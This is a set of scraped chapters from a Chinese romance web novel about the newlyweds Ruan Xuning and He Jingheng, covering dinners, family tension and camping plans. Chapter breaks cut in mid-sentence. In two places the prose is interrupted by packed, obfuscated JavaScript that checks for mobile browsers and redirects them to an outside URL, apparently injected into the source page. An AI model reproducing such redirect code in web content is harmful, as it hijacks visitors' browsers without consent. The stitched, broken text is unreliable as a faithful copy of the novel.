这家位于老城区的文创园规模并不大,进出大多是年轻人,所谓的“停车场”不过是一片近期刚清理出来的废墟,只稀稀落落停着几辆车。 黑色大G着实显眼。 许是等待时间太久,贺敬珩并没有待在车上。 他站在废墟一隅抽烟。 依旧是一身黑色衣裤,身影修长挺括,脚下是破碎的瓦砾,身后是随意拉扯的铁丝网,整个画面灰蒙蒙的,唯有男人指尖的一点猩红若隐若现。 阮绪宁放缓脚步,怔怔地走过去。 贺敬珩掀眼。 忽有风起,吹散烟雾、也吹动他不经意遮在眉眼前的黑发,起初的剪影渐渐变得鲜活、丰富,像是一株极有韧劲的植物,挣扎着破土而出,孑然一身,存活于末世的废土之上。 她看得入迷,直到贺敬珩“喂”了声才堪堪回神。 随即遮掩尴尬似的先发制人:“你怎么过来了呀?” 贺敬珩灭掉烟,并没有因四下一片狼藉而随手丢弃,而是打开车门,将烟蒂放进车载垃圾桶:“接你去一趟老宅。” 这个举动令阮绪宁对他多了一分好感,询问这时候回老宅是要做什么。 两人口中的“老宅”是指贺名奎的住处,贺礼文与儿子一向不对付,住在一起只会加剧矛盾,贺敬珩也深谙这点,自洛州大学毕业后,他索性搬进贺家老宅陪伴贺名奎,直到和她领完结婚证才自立门户。 贺敬珩言简意赅:“我有几辆车停在老宅车库,你去挑一挑。” 阮绪宁明白了,这是要送她一辆上下班的代步车。 她摇头拒绝:“不用了,那些车我都开不了。” 贺敬珩若有所思:“确实,我的车都不太适合女孩子……这样吧,我给你张卡,你有空自己去4S店提一辆喜欢的。” “还是开不了。” “为什么?” “因为我还没有通过科目二,驾校教练说我一紧张就分不清左右,侧方停车是声东击西,倒车入库是暗度陈仓,坡道定点是破釜沉舟……” 贺敬珩睨她:“你们教练,上学时也是语文课代表?” 阮绪宁没绷住,笑了两声:“反正,他会用很多成语来形容我的车技,搞得我再也不好意思去练车了。” 自然也没考出驾照。 本以为会被贺敬珩揶揄,没想到,男人只是不着痕迹地扬了下唇角:“……下车。” 误以为被“驱逐”,阮绪宁试探着问:“你不捎我回家吗?” 她甚至没好意思用“送”这个词。 贺敬珩一边解安全带,一边凉凉解释:“来都来了,还能让你一个人回去吗?我陪你坐地铁转公交走一趟回茂华公馆的路,以后你通勤中途万一遇到什么麻烦,我也清楚去哪里接你。” “那你的车呢?” “就丢这儿过夜,明天让柴飞开回去。” 虽是敷衍的语气,但他考虑周全、行为上一点都不敷衍。 这不禁叫阮绪宁想起念书时的一件事:某次她贪玩,放学后跟同学去了步行街上的网红咖啡店撸猫,返程时天色已晚,她独自一人稀里糊涂错上了反方向的公交车,还睡得昏天暗地,错过了好几通电话;谷芳菲迟迟联络不上女儿,急得险些报警,又拜托周岑和贺敬珩外出寻找,最后,是贺敬珩在城市另一端的公交车底站接到了睡醒后茫然无措的她…… 他将阮绪宁送回家,还给她买了块蛋糕填饱肚子。 回想起来,那是他们为数不多的一次“单独相处”,更多的时候,两人之间总会多一个周岑。 再后来 6. 006 《那我们就祝他好运吧》全本免费阅读 幼稚。可笑。后知后觉。 全都对应上了。 阮绪宁尴尬挠头,当即将对周岑的疑惑抛于脑后,小声辩解:“还以为自己住在雅都名苑呢,习惯性上了香山路方向的地铁……” 见怪不怪。 贺敬珩淡定地扬了下唇角,语气中夹杂着戏谑:“不知是谁说的—-自己已经不是小孩子了,不会再犯坐错车、坐过站那种低级错误。” 哪壶不开提哪壶。 阮绪宁抿嘴,半晌才想到强词夺理:“错了就错了嘛,又不是回不去了!就、就算是我弄错了方向,也未必就是坏事啊!” 那双小鹿般的黑眸动了动:“香山路上有一家特别好吃的‘烧鸟屋’,反正你也没吃晚饭,我请客,要去尝尝吗?” 满满的诚意,却不足以请动贺敬珩这尊大佛。 他没有表态,只反问道:“我怎么不知道你喜欢吃烧鸟?” 相识至今,他们一起吃过几顿饭——即便不是出于双方主观意愿,而烧鸟这种以鸡肉为主要食材的日式料理,从来就不在两人,不,就不在三人的备选餐食名单上。 阮绪宁解释道:“之前工作室团建聚餐去过好几次那家店,味道很好的,老板说话也特别有意思。” 贺敬珩极力搜罗着脑海里那些零碎的记忆:“可你不是不喜欢吃鸡肉么,还说鸡肉吃起来没味儿,像在嚼吸了很多水又被拧干的卫生纸。” 这个比喻…… 好吧,她确实说过这样的话。 没想到他还记得。 阮绪宁辩解:“人总是会变的,喜欢的东西也会变,有什么好奇怪的?” 说罢,抬手戳戳贺敬珩的胳膊肘:“去嘛。” 见男人不吭声,便继续戳:“去嘛,去嘛。” 像只不知疲倦的时钟播报小鸟。 贺敬珩这才淡淡“嗯”了一声。 确实,随着时间的推移,人的样貌会变,性格会变,口味会变,喜欢的东西也会变,这没什么好奇怪的,但自己居然会同意跟小姑娘一起去吃“那种”食物…… 这才奇怪。 * 若没有阮绪宁带路,贺敬珩很难想象,昏暗僻静的居民区长巷里会有一家小巧别致的烧鸟居酒屋。 来这地方吃正餐的客人并不多,这个时间点,两人还能坐上靠窗的位置。 两杯玄米茶下肚,烤好的菜品陆陆续续上桌。 系着招财猫围裙的老板更是亲自送来了两串“提灯”,说是要感谢她带同事来照顾自家小店的生意。 阮绪宁偷瞄了眼贺敬珩,小声解释:“他不是我的同事。” 老板当即露出“我懂”的表情,嘴巴不受大脑控制,冒出一个对阮绪宁而言极其陌生的词汇:“男朋友?” 脑子里空白一瞬,她被迫停下进食的动作。 竹签悬于半空,沾满酱汁的饱满卵黄当真如同一盏明晃晃的小灯,可惜,照不透这桌食客的复杂关系。 猝不及防地两秒死寂后,贺敬珩出声解围:“朋友。” 只减一字,便少了亲昵,多了心酸。 烧鸟店老板看他的眼神揉进几分同情。 回过神来的阮绪宁妄图缓和气氛,又着急忙慌补上一字:“好朋友。” 贺敬珩深深看了她一眼。 阮绪宁迎上那道晦涩的视线,满脸写着“这样说有哪里不对吗”。 好像…… 更心酸了? 自行脑补出一段“友达以上,恋人未满”,老板鼓劲般拍了下“好朋友”的肩膀,说稍后再送他们几串烤蔬菜。 送走老板,贺敬珩端起面前的小酒盏,碰了碰她的茶杯:“荣幸之至。” 杯中浅褐色的乌龙茶泛起微波,如同心间的涟漪,一圈圈漾开。 阮绪宁不解。 自顾自抿了清酒,他半开玩笑:“当了十年路人甲,一朝领证,终于升级为‘好朋友’了。” 是在调侃两人的关系。 落日余晖似熔金,透过玻璃窗,在男人的发梢缝隙之间流淌,但贺敬珩还是那副凉薄、不羁的模样,并没有变得温暖,哪怕一丝一毫。 阮绪宁收回目光,嘀咕着:“也不算是‘路人甲’吧。” 还是低头喝了一口茶。 随即,余光落在对面餐碟里一口未动的几串烧鸟上:“你怎么都不吃呀?是不合胃口吗?” “我不喜欢像这样串在一起的食物。” “啊?那烧烤、钵钵鸡、冰糖葫芦、淀粉肠、炸串……” “都不喜欢。” 世间怪癖千千万,不喜欢“撸串”的,不多见。 仔细回忆过往“饭局”,也确实没与他一起吃过那些,阮绪宁被激起好奇心,抓起一串烤鸡胗,横在自己面前比划起来:“你是觉得这样吃东西很粗鲁吗?” 毕竟是贺家的继承人,在外需要注意形象。 她能理解。 然而,贺敬珩迟疑着说出实情:“我只是讨厌竹签罢了。” “诶?” “还有那些细长、尖锐、锋利的东西,我都很讨厌。” 说这话的时候,他下意识交叉十指,目光飘忽不定,寻不到停留之处,最终,还是落在了阮绪宁手边那些吃剩的竹签上。 阮绪宁难得敏锐:“只是讨厌,还是……” 男人的眉心忽地紧拧。 因为紧张,脖颈处的皮肤甚至能瞧出颗粒感。 迟疑片刻,贺敬珩承认:“是害怕。” 那些无人知晓的往事,被埋在心底很久,早已变质、发酵、不断滋生出令人作呕的气味,而眼前乖顺听话的小姑娘,则是唯一能够依赖的疏解甬道——因为他们是夫妻,他们要在一起生活比“很久”更久的时间,有些事,理所应当尽早让她知晓,以减少不必要的麻烦。 害怕。 给阮绪宁一百次机会,也猜不出这个答案。 她难以理解这种恐惧:区区一根竹签,能有多大杀伤力?难道是小时候吃东西被竹签扎过手?可看对方的样子,并不像是在戏弄自己…… 贺敬珩害怕细长、尖锐、锋利的东西,连碰都不想碰。 这个结论令她倍感意外,正要发挥想象力寻找原因,耳边复又响起男人低沉的声音:“很奇怪吧?” 阮绪宁点点头又摇摇头。 出于本能的善意,随即说起宽慰的话:“其实,我也有很多莫名其妙就害怕的东西,比如,蝴蝶!大家都说鲜艳的蝴蝶翅膀很漂亮,可我就很害怕,连蝴蝶标本都不敢仔细看!还有,我很害怕敲门声和吹风机的声音,特别是夜深人静的时候……对了,你知道有个叫托马斯的小火车吗?那张脸真的好吓人,我妈妈说我小时候一看到那个动画片就会哇哇大哭……” 她一口气说了很多话。 见聆听者依旧八风不动,又消停下来,舔了舔干涸的嘴唇。 贺敬珩掀眼,问出一个毫无关系的问题:“那你害怕我吗?” 她想了想:“现在不怕了。” 含蓄承认,以前是害怕的。 贺敬珩来了点兴致:“哦?” 阮绪宁清了清嗓子:“因为我现在终于知道了,原来你这样的家伙,也有害怕的东西。” 贺敬珩眯起眼:“我这样的家伙——是怎样?” 阮绪宁在“语文课代表词库”里搜索着合适的形容和比喻:“就是那种,嗯,没有弱点,很厉害、很难接近的家伙,而且还……还很会 7. 007 《那我们就祝他好运吧》全本免费阅读 计划彻底被打乱。 各怀心思吃完晚饭,两人打车回了茂华公馆。 记挂着陆然交代的任务,阮绪宁换上居家服,去这两天布置好的小画室琢磨了一会儿“反派哥”的人设,直到困意来袭止不住呵欠,才前往主卧休息。 推门进去时候,贺敬珩正在浴室里洗澡。 听见淋浴花洒的流水声,阮绪宁有些不自在,本想出去转一圈稍后再回屋,可转念又想,躲得过初一,躲不过十五,既然以后都得住在一起,当然要尽快习惯要与“异性室友”共享浴室这件事。 她深吸一口气,轻手轻脚走到床边,忽然想起前几天买的烛台香薰还没有拆。 打开床头灯,阮绪宁翻找出那只精致的包装盒,刚解开印有英文花体字的灰色缎带,手机就弹出一条谭晴发来的消息:有夫之妇睡了没? 阮绪宁暂停了手里的事:还没。 谭晴:和贺敬珩待在一起干嘛呢? 阮绪宁一时手快:他在洗澡。 谭晴:哇哦.jpg 谭晴:我不会打扰你们吧? 阮绪宁:你在想什么呀,他洗完就走。 谭晴:去哪儿? 阮绪宁:去别的房间睡觉。 顾及贺家继承人的脸面,她没说贺敬珩这几天都窝在衣帽间里睡沙发。 谭晴:好好好,我倒要看看,贺敬珩能忍到什么时候…… 阮绪宁:啊? 谭晴:没什么。 谭晴:话说,你周末要不要和我们一起露营?白天开房车溜达,晚上睡帐篷! 谭晴:人多热闹一点[勾引] 看见“房车”两个字,阮绪宁的眸子亮了亮,索性盘膝坐在床垫上,连敲字的速度都比方才快了些:之前怎么没听你说起过?都有哪些人去呀? 谭晴:暂定只有艾荣一个。 谭晴:不过,程知凡和刘绍宴应该都会来,如果他们再带几个朋友过来,算上你和贺敬珩,差不多十来个人。 阮绪宁:…… 没记错的话,谭晴和他们三个也是前不久才因筹备婚宴结识,刚过去几天,就已经发展到可以组局去露营的程度了吗? 尊她一声“社交悍匪”也不为过。 伴郎有四个,伴娘却只有一个,起初阮绪宁还担心谭晴会扛不住,特意在婚礼前请她吃了顿大餐以示安慰。 谁料,谭晴听说这样的安排后一撩大波浪,轻蔑发笑:“区区四根。” 虎狼之言,震耳发聩。 新娘子当即便觉得是自己多虑了:实在没必要担心谭晴,应该担心的是伴郎团才对。 不过,排除掉不能染指的周岑、已有女朋友的程知凡以及无心恋爱的刘绍宴,谭晴最后也只和艾荣交换了联系方式。 阮绪宁:贺敬珩挺忙的,不一定有时间,回头我问问。 谭晴:嗯嗯,可惜周岑出国了,不然把他也叫上。 目光扫过那个名字,阮绪宁按在屏幕上的指尖微微加重力道。 谭晴:讲真的,婚礼那天,我上台给你和贺敬珩送对戒的时候一直在想,周岑会不会幡然醒悟,当众抢婚? 谭晴:哇,想想就刺激! 默了片刻,阮绪宁才回复:你又不是不知道,周岑不喜欢我这样的。 敲这行字的时候,她的情绪很平静。 如果文字能够转化为语音,也必然是淡淡的语气,如同在说别人的事。 时间足以抚平一切。 已经过去了这么多年,阮绪宁早已忘记了当初得知这个结论时郁结与不甘。 谭晴:我也没说他是来抢的你啊。 阮绪宁反复观看这句话,随即脑补出周岑冲上舞台拽着贺敬珩就跑的场景…… 她绷不住笑出声,险些将手机摔到床下。 浴室门被人从内打开。 身穿睡袍的贺敬珩毫无预兆闯入视野。 许是急着出来,他的头发只吹到半干,发梢还滴着水,洇湿一小片领口布料;尽管腰间系了腰带,却因肩宽,黑色丝绸睡袍上半截被生生撑开,能看见漂亮的前胸肌理线条。 被眼前画面硬控数秒,阮绪宁笑容一僵:“你……洗好了呀。” 贺敬珩随口应了声,通过小姑娘的反应才意识到此刻的自己“衣衫不整”,略略一思忖,却只抬手象征性地整理了一下前襟:“你去用浴室吧。” 阮绪宁点点头,忽而想起什么,又招呼他:“对了,上次买的熏香……” 贺敬珩走过去,明知故问:“熏香怎么了?” 谭晴打来的电话中断了两人的交流。 阮绪宁说了声“抱歉”,示意贺敬珩稍等——继而将手机远离耳朵。 果不其然,对方毫不吝啬音量:“亲爱的,你没有生气吧?我不过是开了句周岑的玩笑,你怎么就不回复我了……呜呜呜,我知道错了啦,以后再也不在你面前提那个不懂珍惜的狗男人了!” 这般距离,什么话都听得清清楚楚、明明白白。 阮绪宁怯怯瞄了眼近在咫尺的贺敬珩,暗示谭晴别提那茬:“没、没有,我没有生气,咳咳。” “那你干嘛不回消息?怎么,在思考如何对付家里的狗男人?” “咳……咳咳咳!” 好意提醒却咳过了头,阮绪宁的喉咙当真开始不舒服。 贺敬珩在床边坐下,抬手帮她拍了几下背:“谭晴?” 阮绪宁点点头。 电话那边的姑娘终于反应过来,那位“家里的狗男人”就在旁边。 遇到这号不能惹的人物,社交悍匪也心虚,她干笑两声,急忙扯开话题,说起了周末房车露营:“你要不要陪宁宁一起来?就这个周末,艾荣他们也都在!” 贺敬珩通过阮绪宁向谭晴递话:“过几天要带人去哲海看个展,不一定赶得上。” 年纪轻轻就身居高位,锋源集团上下自然有人不服,贺名奎为了让孙子尽快树立威信、站稳脚跟,便要求他多在行业峰会和相关活动上露脸。 至少,要比贺礼文的存在感更强。 贺敬珩没有把话说死,但谭晴也不好再追问,只能寒暄几句迅速挂断电话。 阮绪宁松了口气。 抬眼就发现贺敬珩正睨着自己,薄唇一碰:“原来是在聊周岑的事,怪不得笑得这么开心。” 她愣了愣:这话听起来怎么有点儿…… 呃,酸溜溜的? 贺敬珩也意识到了这一点,迅速接上先前中断的话:“香薰,有什么问题吗?” 阮绪宁回过神,将琉璃烛台捧到他面前:“我不小心拿错了,这一款不是‘静谧海洋’,是‘幽深森林’,能闻出一点柠檬、胡椒还有冷杉的香调——要是你不喜欢这个味道,我就不用它了,改天再去买别的。” 说着,示意他闻一闻。 男人喉头一滚,探身而来。 他身子重,床垫又过分柔软,一番动作,惹得阮绪宁也被迫前倾身体,两人的距离比预想中更近。 四下无声,只有彼此的呼吸在交汇,仿佛两条柔软的丝带,穿梭着,将他们越缠越紧。 明明什么话都没有说,阮绪宁却觉得口干舌燥。 片刻过后,贺敬珩开口破冰:“这个更好闻。” 她稍有喜色:“真的?” 贺敬珩慢条斯理组织着语言:“闻着这个香味,就像是走在刚下过一场大雨的森林里,空气很清新,泥土很松软,周围是深深浅浅的绿色植物,偶尔还能看见几朵漂亮的小花。” 这番朴实无华、并无太多亮点的描述,深得“语文课代表”欢心:“照你这么一说,我好像真的可以想象出来……” “你一转身,发现后面跟着一匹狼。” 等等…… “那匹狼张开嘴巴,低吼着露出獠牙,朝你扑过来。” 怎么突然变成了这种走向? 沉浸于想象中的画面,阮绪宁瞪大眼睛,放缓呼吸,肉眼可见的紧张。 贺敬珩不紧不慢地接着道:“……你狠狠给了那家伙一拳,它哀嚎一声,然后就学乖听话了,还低下头,让你去摸毛茸茸的脑袋。” 峰回路转。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12755708|134630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进总裁办的时候,贺敬珩正站在生态缸旁喂蛇。 整间总裁办公室延续了集团大楼的装修风格,简约且寡淡,唯一的“不同寻常”,就是那一隅。 数米见宽的爬宠缸被精心设计成“热带雨林”主题,透过深深浅浅的蕨类和藓类植物,能看见造型别致的沉木上盘踞着一条黑王蛇——搬进总裁办的第二天,他便将饲养多年的宠物安置到了这里。 起初,下属们对于贺大少爷的爱好非常不能理解,有几个胆小的姑娘甚至每次进总裁办公室前都要做心理建设…… 好在,经过一段时间的了解和相处,大家也都习惯了,并且笃定生态缸里的冷血动物只是样子看起来可怕,大部分时间,它都只是安安静静独自待在那里,不会无缘无故攻击别人。 ……和现任BOSS差不多。 对于“贺董”的不请自来,贺敬珩并不觉得意外,毕竟,这间办公室本该是属于贺礼文的地盘。 但他没本事抢回去。 想到这里,贺敬珩松弛感,不紧不慢将冻鼠丢进生态缸,看着黑王蛇一点一点将食物吞咽入腹。 贺礼文神情厌恶地拧了下眉。 因为没有温度的蛇和鼠,也因为没有温度的儿子。 他负手而立,直视贺敬珩,强撑起一个父亲的体面:“我听说,你让苏秘书改了行程,今晚就动身去哲海展会?” “早去早回,我周末还有别的事。” “但今晚有个商务局,是你张叔叔特意为你……” 贺敬珩打断他:“有话直说。” 贺礼文也没打算藏着掖着:“‘松力’那边很懂事,以后可以继续合作。” 贺敬珩没说话。 碍于父子情分,他也曾去过几次贺礼文口中的“商务局”,继而发现,那家伙借锋源集团的名号中饱私囊,还落下了不少把柄和人情债。 起初,贺敬珩只将自己当局外人,对于父亲的所作所为并不在意;可如今,贺家的重担落在他的肩头,就不能再独善其身——贺名奎当初将他接回洛州,也是做得这一层打算。 见儿子不表态,贺礼文继续劝:“都说‘上阵父子兵’,你得跟我一条心,在选择合作方这方面,我比你有经验。” 贺敬珩掀眼,凉凉反问:“你和老爷子是一条心吗?” 他转过身来,高大的身影与吐信子的黑王蛇渐渐重合。 没料到对方会用贺名奎来压自己,贺礼文目光躲闪,皮笑肉不笑:“你这说的是什么话……” 暗忖着两人还得一起共事,贺敬珩衡量片刻,不打算激化矛盾:“阮绪宁希望我陪她周末出去玩,刚办完婚礼,我不想扫她的兴。” 贺礼文点点头,面色稍缓:“还顺心吗?” “什么?” “婚后生活,怎么样?” 贺敬珩眯起眼睛,不动声色磨了磨后槽牙。 与贺礼文谈论婚姻话题,只会让人恶心——他的母亲赵眉一直等到下葬,也没能等来“名正言顺”的婚后生活。 带着点儿赌气的意味,贺敬珩轻嗤一声:“不怎么样。” 误将这份不满归结到新娘子身上,贺礼文摆出一副“过来人”的模样,拍拍儿子的肩膀:“老爷子亲自给你定的婚事,离婚就别想了,你就当为了哄他老人家高兴,把阮家那小丫头养在家里玩吧,有其他喜欢的,养在外面就是……只要不闹到老爷子面前,阮家绝对不敢多说半个字。” 绷紧的弓弦在那一刻断裂。 压抑已久的埋怨、憎恶如同喷涌而出的岩浆,烫穿两代人的遮羞布。 猛地打掉父亲的手,贺敬珩冷声道:“别把我说的像你一样。” 疾声厉色——儿子和老子不一样。 贺礼文面色一白。 贺敬珩声音更沉:“既然结了婚,我就会尊重、爱护自己的妻子,更不会去沾那些乱七八糟的事,让她难过。” 话里话外皆是嘲讽,权威受到挑衅的中年父亲登时红了眼,本能地高抬起手,然而对上儿子发狠的眼神,那并没有多少威慑力的巴掌,又迟迟不敢落下。 僵持许久,终是以贺礼文摔门而去告终。 只丢下一句咒骂:“不识好歹的东西。” 挨了骂的贺敬珩却兀自抿笑,暗忖自己确实有点不识好歹:明明是为了嘲讽贺礼文才说的气话,经他这么一演绎,竟变成了丈夫忠贞的起誓。 但如果是对阮绪宁的话…… 他好像,并不反感起这样的誓。 12. 012 周五下班后,谭晴约了阮绪宁吃饭,说是顺便买些明天露营要用的东西。 两人在文创园附近的米其林餐厅碰头。 周围几桌都是商务人士,间或能听见“区块链”“天使轮”之类的晦涩字眼,谭晴用刀尖戳着餐盘里惠灵顿牛排酥皮,没忍住丢过去一个白眼,转而又望向专心查询露营攻略的阮家小姐:“你老公……啧,这么叫真别扭,贺敬珩,我是说贺敬珩,他明天真的不一起去吗?” 阮绪宁“嗯”了声:“我来之前给他发了消息,说和你在外面逛街,问他有没有要买的露营用品,他回复说‘不需要’,应该就是不去的意思吧?” 那天在地铁站偶遇广广,她没听清贺敬珩的答复,直到晚上回家后才得知,那家伙已经一张机票飞去了哲海。 她不好意思再问一遍,只能旁敲侧击。 谭晴略显遗憾地撇撇嘴:“可惜啊,少了一个免费劳动力……话说,你与贺敬珩现在还是分房睡?” 看穿好友的八卦心思,阮绪宁如实相告:“是啊,他对我完全没有想法,还总喜欢开我和周岑的玩笑。” 目光飘落向手边的黑松露蘑菇汤,她小小声嘀咕:“……好讨厌的。” 谭晴露出“看穿一切”的表情,揶揄道:“你是讨厌他开你和周岑的玩笑,还是讨厌他对你没想法啊?” 阮绪宁愣怔着,任由双颊升温。 对好友的“迟钝”见怪不怪,谭晴摆摆手:“行了,我算是明白你的想法了——不能怪你,毕竟那是贺敬珩,跟他成天抬头不见低头见,搁谁顶得住啊,心里装着几个周岑也得被挤出去了。” 承认吧,说明贺敬珩已经住进了她心里; 否认吧,说明周岑还赖在她心里没走…… 横竖都是坑,万万不能跳。 阮绪宁小声嘀咕:“我的心又不是三室一厅。” 谭晴目光瞄着给邻桌上菜的燕尾服男服务生:“三室一厅哪儿够呀,至少也得是联排别墅……唉,安得联排别墅千万间,大庇天下帅哥俱欢颜!” 阮绪宁被逗乐了,又想起件要紧事:“对了,艾荣他们都不知道我以前向周岑表过白,你不要告诉他们。” 谭晴拍胸脯保证:“放心,我的嘴严实着呢,就算把我送进慎刑司尝遍七十二道刑罚,也绝对问不出什么来。” 两人相视一笑,转而聊起最近的“精神食粮”。 谭晴对小说和漫画颇为钟情,为了给好友捧场,还追过一段时间的《失落玫瑰》连载。 当她问起男女主角的最新进展时,阮绪宁点开青果工作室群聊,打算透露一点后续剧情,好巧不巧,看到老陆发来的一则“捷报”,说《失落玫瑰》最新话存稿提交后,平台方很快就过审了,还说剧情有看点,让主创团队继续保持。 梦梦:我总觉还得得搞几张养眼的画面。 梦梦:能不能扒了男主? 广广:不能,男主的盛世美颜要放在后几话,实在不行,下一话让反派哥卖点肉发福利吧? 屋屋:让他卖!让他卖! 屋屋:爆/衣!战损!胸肌!腹肌!可以顶起一罐饮料的翘/臀! 梦梦:屋屋疯了。 广广:画画哪有不疯的? 广广:周末辛苦你找找感觉了@板板 阮绪宁觉悟颇高地发了个“收到”表情包。 梦梦:我有一些张珍藏多年的型男图片,高清无/码,板板需要吗[嘿哈] 屋屋:你说的“一些”是多少? 梦梦:几个G吧。 广广:哇!几个!G吧!@梦梦你的XP这么刺激? 屋屋:猩猩伸手.jpg 广广:其实我最近也想练习人体结构,需要大量参考图,劝你识相一点主动私给我,别逼我跪下求你@梦梦 群里顿时热闹起来,虎狼之言层出不穷,陆然终于看不下去了。 老陆:你们几个能不能收敛一点?咱们的新责编还在群里呢,别把人家吓跑了! 隔着屏幕都能感觉到青果工作室负责人在疯狂擦汗。 被cue到的杨远鸣冒了个泡。 阮绪宁本以为那位从平台方跳槽来的“银边眼镜”足够成熟稳重,能给向来不着调的工作室来带一点新气象,没想到,那家伙直接现了原形。 杨远鸣:没关系。 杨远鸣:我时常也觉得自己因为不够变态而与同事们格格不入…… 阮绪宁抱着手机“噗嗤”笑出声。 发现谭晴递过来探究的目光,她毫不介意地将群聊记录给她看。 见识了青果工作室如此“自由散漫”的工作氛围,正在亲戚家公司朝九晚五、本本分分实习的“小谭”恨得牙痒痒:“看着吧,我下周就辞职!然后投简历!相信只要有恒心,我迟早能找到放眼望去全是帅哥的工作单位!” 阮绪宁双手握拳,不抱期待地给予她精神上的鼓励。 * 逛完户外用品商场已经是晚上九点半,吃完宵夜,谭晴开车将阮绪宁送回茂华公馆。 办完婚礼的第二天,阮绪宁就录了全屋指纹锁,不想打扰张妈休息,她进屋后便径直上楼、回到卧室,来不及坐下休息片刻,又提着昨晚收拾好的旅行包去了衣帽间——这个季节户外昼夜温差很大,谭晴临走前特意提醒她,要多带一件长袖外套。 前几天,谷芳菲差人给女儿送了些春夏衣物,足足塞满两只六门衣柜,没记错的话,应该是这个方向…… 还没走到专属衣柜前,她便被角落里晃动的人影吓了一跳。 是贺敬珩。 是她那两天不见人影的合法丈夫。 彼时的贺敬珩赤/裸上身,宽阔紧实、线条流畅的脊背正对门口,在衣帽间精心计算过角度的射灯灯带光线映衬下,宛如一件精美绝伦的艺术品。 听闻动静,正在换衣服的男人迅速转身,睨了眼突然闯进来的小姑娘。 还、还有人鱼线…… 身边就有这样的先天参照物圣体,要什么高清无/码、几个G吧。 思绪随着那两条蛊惑人心的人鱼线不知绵延去了哪里,阮绪宁眼神乱飘,声音低到快要听不见:“你怎么在家?” 贺敬珩随手从衣柜里拿了件T恤衫,迅速套上,没什么情绪地反问一句:“我为什么不能在家?” “你不是去哲海出差、周末赶不回来吗?” “确实是去了趟哲海,但我可没说过周末赶不回来。” 嘴上说得云淡风轻,眼底因疲惫透出的乌青却出卖了某位商圈新贵——为了提前回洛州,他硬生生压缩了好几天的行程,连轴转赶场子不说,还在回程的飞机上补了一觉。 阮绪宁还在嘴硬:“那我昨天问你要不要准备露营用品……” 贺敬珩走近几步,接过她手里的包:“因为家里都有,不需要买新的——艾荣就喜欢捣腾这些,念大学的时候,我们几个都被他逼着买齐了装备,就他那辆房车,还是我找人帮忙改造的。” 他掂了掂挂有兔子玩偶的粉色旅行包:“你自己的东西都准备好了吗?一共就这点儿?” 阮绪宁想了想:“你是说帐篷和睡袋吗?都放在谭晴车上了,明天直接带去露营基地……” 她望向衣柜:“我再看看要带点儿什么。” 贺敬珩将旅行包放在灰色羊绒地毯上,准备给妻子挪窝找衣服:“行,那我先去洗澡。” 长腿还没迈开,就被唤住:“贺敬珩……” 猫儿似的亲昵婉转,挠得人心痒。 他身子有些酥,面上还算镇定,不发一言扭头回望。 阮绪宁用眼神勾勒着男人修身T恤下的身体轮廓,下定决心咬了下唇:“你下次打拳的时候,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12755709|134630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能不穿衣服?” “你说什么?” “我有点想看……” 虽不清楚小姑娘在动什么心思,贺敬珩依然耐着性子答疑,听到这话,终是开腔斥责:“阮绪宁,说话之前动动脑子。” 完全没有接收到对方快要溢出来的“道德感”,阮绪宁喘了口气,将剩下半句话说完:“……看男人在剧烈运动时的肌肉动态走向,背斜方肌和竖脊肌,就是这里,还有这里,就算是穿运动背心也会被挡住。” 生怕贺敬珩听不明白,她在自己身上比划着,又因那几块肌肉位置尴尬,模样略显滑稽:“工作室的前辈让我有空多练习画动态人体,我想着,用你当参考。” 贺敬珩哑了火,闭上眼幽幽一叹——他就不该在说话之前动脑子。 但是…… 不穿衣服? 剧烈运动? 越琢磨越不对味儿,他眯起眼睛,打量着面前目光澄澈、神情天真的女孩:“你们那个工作室,到底画的什么漫画?” 对于阮家小姐的事业心,贺敬珩多少有些了解,他并不反感,甚至很欣赏小姑娘的认真执着,但若是误入歧途,那他这个丈夫就不能袖手旁观了。 阮绪宁后知后觉,急忙解释:“你别误会呀,我们画的可都是正经漫画。” 说得太急,险些咬到舌尖。 瞧见小姑娘这幅急于澄清的模样,贺敬珩悬着的心已然放下,却故意板起脸,摆出一副不相信的模样:“是吗?” 没能发觉那双黑眸中藏着的戏谑,阮绪宁郑重解释:“虽然是恋爱漫画,但男女主之间的很多亲密互动都得加上‘圣光’才能通过平台审核。” “圣光?” “就是一种打马赛克的方式。”提及此事,某位成长中的漫画主笔不满地鼓了下腮帮,“特别破坏画面美感和氛围。” “连牵手、拥抱和接吻都不行吗?” “那些倒是可以,再亲密一点,就得打马赛克了……” 阮绪宁的声音戛然而止:慢着,自己为什么要和贺敬珩讨论这种问题啊? 无视掉面前目含笑意、静静等待下文的男人,她神色一慌,单方面宣布结束这场计划之外的闲聊:“反正,绝对不是你想的那种漫画!” 贺敬珩耸耸肩:“你知道我想的是哪种?” 阮绪宁微张着唇,说也不是,不说也不是。 最后悻悻逃避:“要不,还是我先去洗漱……” 为了和谭晴一起吃饭逛街,她今天特意在下班前补了个妆——还被梦梦追问是不是要去约会来着,说话间,长而浓密的睫毛微微颤动,抖落纯天然的无辜。 贺敬珩幽幽地想着,若是再不依不饶,就有些过分了。 可又不想就这么把人放走…… 他扬唇,赶在小姑娘转身前唤住她:“喂,不是想看吗?” 看什么? 哦,看他的肉……不,身体。 阮绪宁半晌才反应过来,贺敬珩这是答应了的意思,甫一抬眼,又发现那家伙的双手已经虚虚搭在黑色T恤下摆上,一副随时打算脱掉的样子。 